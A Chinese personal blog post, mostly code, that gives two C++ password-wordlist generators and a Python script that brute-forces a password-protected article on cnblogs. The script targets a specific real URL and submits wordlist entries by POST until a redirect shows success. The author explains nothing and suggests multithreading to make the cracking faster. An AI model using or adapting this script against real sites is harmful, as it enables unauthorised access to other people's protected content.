简直闲得蛋疼

代码自己看我懒得解释

下面提供了俩辣鸡字典生成器,然而我更建议使用专业的字典生成器

C++的密码字典生成器 1(将给定子串组合起来):

#include <bits/stdc++.h>

using namespace std;

string str[20] =
{
    "123",
    "abc",
    ".",
};

int n = 3;

bool mark[20];

void Dfs(int a)
{
    if (a == n)
    {
        string ps;
        for (int i = 0; i < n; i += 1)
            if (mark[i]) ps += str[i];
        if (ps.length()) cout << ps << endl;
        return;
    }
    mark[a] = 0, Dfs(a + 1), mark[a] = 1, Dfs(a + 1);
}

int main(int argc, char const* argv[])
{
    Dfs(0);
    return 0;
}

C++的密码字典生成器 2(超暴力枚举每一项):

#include <bits/stdc++.h>

using namespace std;

int n = 5;

char str[10];

void Dfs(int a)
{
    if (a == n) {puts(str); return;}
    for (int i = 0; i <= 9; i += 1)
        str[a] = i + '0', Dfs(a + 1);
}

int main(int argc, char const* argv[])
{
    Dfs(0);
    return 0;
}

python3 的按照密码字典提交 post 请求检验密码(把代码里的/url/to/archive/page 替换成要你输入密码的那个页面的地址,还有 pswd.txt 是你的密码字典):

from time import sleep
import requests
from requests import post

f = open("pswd.txt")
ps = f.readline()
url='https://www.cnblogs.com/post/readauth?url=/cjyyb/p/9892336.html'
url = url.replace("/post/readauth?url=", "")

while ps:
    ps = ps.replace("\n", "")
    print(ps)
    try:
        rs=post(url,data={'tb_password':ps},allow_redirects=1)
        if rs.url == url:
            print("Got it: " + ps)
            break
    except:
        sleep(1)
        pass
    ps = f.readline()

f.close() 

效率极其低下,建议多线程

分类: 文章

XZYQvQ

炒鸡辣鸡的制杖蒟蒻一枚QvQ

发表评论

电子邮件地址不会被公开。 必填项已用*标注